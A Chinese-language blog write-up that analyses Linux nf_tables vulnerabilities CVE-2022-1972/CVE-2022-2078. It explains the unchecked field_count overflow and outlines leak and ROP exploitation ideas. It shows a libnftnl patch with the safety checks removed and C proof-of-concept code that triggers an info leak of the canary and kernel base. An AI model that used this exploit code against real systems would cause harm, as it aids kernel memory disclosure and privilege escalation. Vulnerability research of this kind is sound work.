Dig into Netfilter (三) —— CVE-2022-1972 / CVE-2022-2078

新增集合

在nf_tables中, 还有一个set的概念. 虽然nf_tables没有使用iptables的match-action的概念, 但作为filter就少不了match的过程. set充当一个数据库, 而nft_lookup等指令用来在数据库中进行查找.

比如想要拦截192.168.1.4, 192.168.1.5等ip的包, 则可以通过如下方式创建命名集合(当然就有匿名集合)blackhole, 并向其中添加ip, 之后的rule即可直接使用这个set.

1
2
3
nft add set filter blackhole { type ipv4_addr\;}
nft add element filter blackhole { 192.168.1.4, 192.168.1.5 }
nft add rule ip input ip saddr @blackhole drop

nft_dynset表达式用来对set进行增删改.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
enum nft_dynset_ops {
NFT_DYNSET_OP_ADD,
NFT_DYNSET_OP_UPDATE,
NFT_DYNSET_OP_DELETE,
};

enum nft_dynset_flags {
NFT_DYNSET_F_INV = (1 << 0),
NFT_DYNSET_F_EXPR = (1 << 1),
};

/**
* enum nft_dynset_attributes - dynset expression attributes
*
* @NFTA_DYNSET_SET_NAME: name of set the to add data to (NLA_STRING)
* @NFTA_DYNSET_SET_ID: uniquely identifier of the set in the transaction (NLA_U32)
* @NFTA_DYNSET_OP: operation (NLA_U32)
* @NFTA_DYNSET_SREG_KEY: source register of the key (NLA_U32)
* @NFTA_DYNSET_SREG_DATA: source register of the data (NLA_U32)
* @NFTA_DYNSET_TIMEOUT: timeout value for the new element (NLA_U64)
* @NFTA_DYNSET_EXPR: expression (NLA_NESTED: nft_expr_attributes)
* @NFTA_DYNSET_FLAGS: flags (NLA_U32)
* @NFTA_DYNSET_EXPRESSIONS: list of expressions (NLA_NESTED: nft_list_attributes)
*/
enum nft_dynset_attributes {
NFTA_DYNSET_UNSPEC,
NFTA_DYNSET_SET_NAME,
NFTA_DYNSET_SET_ID,
NFTA_DYNSET_OP,
NFTA_DYNSET_SREG_KEY,
NFTA_DYNSET_SREG_DATA,
NFTA_DYNSET_TIMEOUT,
NFTA_DYNSET_EXPR,
NFTA_DYNSET_PAD,
NFTA_DYNSET_FLAGS,
NFTA_DYNSET_EXPRESSIONS,
__NFTA_DYNSET_MAX,
};

nft_set在内核中有多种数据结构的实现方式.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/*
* Sets
*/
static const struct nft_set_type *nft_set_types[] = {
&nft_set_hash_fast_type,
&nft_set_hash_type,
&nft_set_rhash_type,
&nft_set_bitmap_type,
&nft_set_rbtree_type,
#if defined(CONFIG_X86_64) && !defined(CONFIG_UML)
&nft_set_pipapo_avx2_type,
#endif
&nft_set_pipapo_type,
};

/**
* struct nft_set_type - nf_tables set type
*
* @ops: set ops for this type
* @features: features supported by the implementation
*/
struct nft_set_type {
const struct nft_set_ops ops;
u32 features;
};

一个set中的一条record有多个filed, 类型有:

ipv4_addr:IPv4 地址
ipv6_addr:IPv6 地址
ether_addr:以太网(Ethernet)地址
inet_proto:网络协议
inet_service:网络服务
mark:标记类型

比如要过滤127.0.0.1:80端口的数据包, 那么set就应该具有ipv4_addr和inet_service两个filed.
不同filed具有不同的长度, 所以在创建set时需要指定.(类比数据库的概念应该很好理解).

但其实对于set本身来说, key只有一个, 多个filed以concatenation的形式(连续的bytes)使用.
虽然lookup时使用的key是一个u32*, 但实际使用的长度是klen.

这篇文章可能会对理解concatenation有帮助: https://lwn.net/Articles/640104/.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**
* struct nft_set_desc - description of set elements
*
* @klen: key length
* @dlen: data length
* @size: number of set elements
* @field_len: length of each field in concatenation, bytes
* @field_count: number of concatenated fields in element
* @expr: set must support for expressions
*/
struct nft_set_desc {
unsigned int klen;
unsigned int dlen;
unsigned int size;
u8 field_len[NFT_REG32_COUNT];
u8 field_count;
bool expr;
};

新增set的操作由nf_tables_newset实现, 这里就不做分析了.

CVE-2022-1972 / CVE-2022-2078

漏洞分析

源码版本为linux-5.17

问题出现在解析NFTA_SET_DESC_CONCAT属性时.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
static int nft_set_desc_concat(struct nft_set_desc *desc,
const struct nlattr *nla)
{
struct nlattr *attr;
int rem, err;

nla_for_each_nested(attr, nla, rem) {
if (nla_type(attr) != NFTA_LIST_ELEM)
return -EINVAL;

err = nft_set_desc_concat_parse(attr, desc);
if (err < 0)
return err;
}

return 0;
}

static int nft_set_desc_concat_parse(const struct nlattr *attr,
struct nft_set_desc *desc)
{
struct nlattr *tb[NFTA_SET_FIELD_MAX + 1];
u32 len;
int err;

err = nla_parse_nested_deprecated(tb, NFTA_SET_FIELD_MAX, attr,
nft_concat_policy, NULL);
if (err < 0)
return err;

if (!tb[NFTA_SET_FIELD_LEN])
return -EINVAL;

len = ntohl(nla_get_be32(tb[NFTA_SET_FIELD_LEN]));

if (len * BITS_PER_BYTE / 32 > NFT_REG32_COUNT)
return -E2BIG;

desc->field_len[desc->field_count++] = len;

return 0;
}

分析这几行. len为用户完全可控的u32, 在check时乘上BITS_PER_BYTE可能发生溢出, 导致check失效. field_len字段仅为1字节, 所以类似CVE-2022-1015, 我们能将field_len设置的最大值是0xff.

1
2
3
4
5
6
len = ntohl(nla_get_be32(tb[NFTA_SET_FIELD_LEN]));

if (len * BITS_PER_BYTE / 32 > NFT_REG32_COUNT)
return -E2BIG;

desc->field_len[desc->field_count++] = len;

查找对该字段的引用, 结果非常少, 有两处可能有用.
一处在pipapo_estimate_size函数中, 然而这里在使用前有一个单独的check, gg.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#define NFT_PIPAPO_MAX_BYTES		(sizeof(struct in6_addr))

static u64 pipapo_estimate_size(const struct nft_set_desc *desc)
{
unsigned long entry_size;
u64 size;
int i;

for (i = 0, entry_size = 0; i < desc->field_count; i++) {
unsigned long rules;

if (desc->field_len[i] > NFT_PIPAPO_MAX_BYTES)
return 0;

/* Worst-case ranges for each concatenated field: each n-bit
* field can expand to up to n * 2 rules in each bucket, and
* each rule also needs a mapping bucket.
*/
rules = ilog2(desc->field_len[i] * BITS_PER_BYTE) * 2;
entry_size += rules *
NFT_PIPAPO_BUCKETS(NFT_PIPAPO_GROUP_BITS_INIT) /
BITS_PER_BYTE;
entry_size += rules * sizeof(union nft_pipapo_map_bucket);
}

/* Rules in lookup and mapping tables are needed for each entry */
size = desc->size * entry_size;
if (size && div_u64(size, desc->size) != entry_size)
return 0;

size += sizeof(struct nft_pipapo) + sizeof(struct nft_pipapo_match) * 2;

size += sizeof(struct nft_pipapo_field) * desc->field_count;

return size;
}

另一个在nft_pipapo_init函数中, 可以将nft_pipapo_field->groups和nft_pipapo->width设置得更大. 但暂未发现有什么影响.

1
2
3
4
5
6
7
8
9
10
11
12
13
nft_pipapo_for_each_field(f, i, m) {
int len = desc->field_len[i] ? : set->klen;

f->bb = NFT_PIPAPO_GROUP_BITS_INIT;
f->groups = len * NFT_PIPAPO_GROUPS_PER_BYTE(f);

priv->width += round_up(len, sizeof(u32));

f->bsize = 0;
f->rules = 0;
NFT_PIPAPO_LT_ASSIGN(f, NULL);
f->mt = NULL;
}

故事似乎结束了……吗?
这个错误的check分散了我们的注意, 这个函数中其实还有一个用户可控且完全没check的值:
desc->field_count.

用户可以在NFTA_SET_DESC_CONCAT属性中提供超出NFT_REG32_COUNT数量个field_len, 使得溢出发生.这样的溢出点在nf_tables_newset的函数中有两个, 前者是一个栈溢出, 后者是一个堆溢出.

1
2
3
4
5
6
7
8
9
10
desc->field_len[desc->field_count++] = len;

static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info,
{
......
set->field_count = desc.field_count;
for (i = 0; i < desc.field_count; i++)
set->field_len[i] = desc.field_len[i];
......
}

利用分析

一些思路
1

利用溢出点1修改field_count, 之后用getset完成set上的越界读, 这会在溢出点2处发生副作用, 将desc后面的不可控数据拷到set上, 最后我们能读出的数据其实不是set里的而是desc后面的.
在副作用不使内核崩溃的情况下, 基本只能泄露小部分栈上数据.

2

和1基本相同, 只是用不可控的数据覆盖udlen后,getset时对udata的越界堆上读取, 如果布置得当, 这可以泄露内核基址.

3

不主动修改field_count, 只是让它简单的增加, 这样可以在溢出点2向nft_set中写入可控数据.

4

可以利用不存在的table名跳过溢出点2, 消除了溢出点2的副作用后, 可以将field_count改为较大值而不会崩溃, 这提供了一个在返回地址处写ROP链的机会

1
2
3
4
5
6
table = nft_table_lookup(net, nla[NFTA_SET_TABLE], family, genmask,
NETLINK_CB(skb).portid);
if (IS_ERR(table)) {
NL_SET_BAD_ATTR(extack, nla[NFTA_SET_TABLE]);
return PTR_ERR(table);
}
实践

原本的libnftnl没办法用来打这个漏洞, 或者至少说是不太方便.一是在这个commit中在库里加了field_count的check, 二是用户多提供的数据会覆盖掉该库使用的一些数据字段, 导致崩溃或限制我们的利用.
最初我尝试比较trick的方式来修改源码, 但效果不太行. 最后还是简单的将nftnl_set中的field_len数组改成一个指针, 并在初始化时分配堆上的空间, 这样我们就可以提供多余的数据而不破坏其他结构.

顺便将原u8的field_len数组改成u32的, 这样才能在内核中获取对该字段的完全控制, 便于我们利用溢出. 这也不需要其他的什么修改, 因为代码中的寻址是以field_len[i]的形式, 且这个字段使用时也都是以u32的形式使用的.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct nftnl_set {
struct list_head head;
struct hlist_node hnode;

uint32_t family;
uint32_t set_flags;
const char *table;
const char *name;
uint64_t handle;
uint32_t key_type;
uint32_t key_len;
uint32_t data_type;
uint32_t data_len;
uint32_t obj_type;
struct {
void *data;
uint32_t len;
} user;
uint32_t id;
enum nft_set_policies policy;
struct {
uint32_t size;
// uint8_t field_len[NFT_REG32_COUNT];
uint32_t* field_len;
uint8_t field_count;
} desc;
struct list_head element_list;

uint32_t flags;
uint32_t gc_interval;
uint64_t timeout;
struct list_head expr_list;
};

然后去掉对应的check:

1
2
3
4
5
6
7
8
9
10
11
case NFTNL_SET_DESC_CONCAT:
// if (data_len > sizeof(s->desc.field_len))
// return -1;

memset(s->desc.field_len,0,0x1000);
memcpy(s->desc.field_len, data, data_len);
while (s->desc.field_len[++s->desc.field_count]) {
// if (s->desc.field_count >= NFT_REG32_COUNT)
// break;
}
break;

现在我们可以开始编写漏洞利用了. 当我编写完一个demo, 运行却报错-EBIG 这说明对field_len的check没有通过. 我觉得比较奇怪, 因为理论上0x7FFFFFFF的值是能通过该check的.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int create_leak_set(struct mnl_socket* nl, char* table_name, char* set_name, uint16_t family,int* seq)
{
struct nftnl_set *s = NULL;

s = nftnl_set_alloc();
if (s == NULL) {
perror("OOM");
exit(EXIT_FAILURE);
}

uint32_t buf[0x100] = {0};
for(int i = 0; i < NFT_REG32_COUNT; ++i)
{
buf[i] = 0x41;
}
buf[NFT_REG32_COUNT] = 0x7FFFFFFF;

nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(s, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, sizeof(uint16_t));
nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, 0);
nftnl_set_set_u32(s, NFTNL_SET_ID, 1);

nftnl_set_set_u32(s,NFTNL_SET_DESC_SIZE,1);
nftnl_set_set_data(s,NFTNL_SET_DESC_CONCAT,buf,(NFT_REG32_COUNT+1)*sizeof(uint32_t));

return send_batch_request(
nl,
NFT_MSG_NEWSET | (NFT_TYPE_SET << 8),
NLM_F_CREATE, family, (void**)&s, seq,
NULL
);
}

于是查看汇编, 发现是编译优化导致的. 除32被移到了等式右边.

这导致我们能写入的最大值是0x43, 这极大的限制了我们思路4的实践, 因为在最大值0x43的情况下根本无法写入ROP链.笔者尝试编译了一些其他版本, 但均有这一优化, 其他的利用思路比如用思路3改写set上的dlen转堆溢出, 也都受这一限制的影响, 因为溢出点2会破坏udata字段, 思路四的绕过方式又不会真正的创建set而没办法进一步利用.
暂未找到在有这一优化的情况下的提权方式….. (有点思路, 挖个坑之后再回来试试)

在不破坏nft_set->udata的情况下, 溢出点2最多能越界将0x20字节写入nft_set.令人欣喜的是, 笔者使用的内核将desc分配到了函数栈帧的栈底. 我们可以用这0x20字节泄露出canary, kernel_base以及page_offset_base.

信息泄露的POC及测试环境: CVE-2022-2078

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2024 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信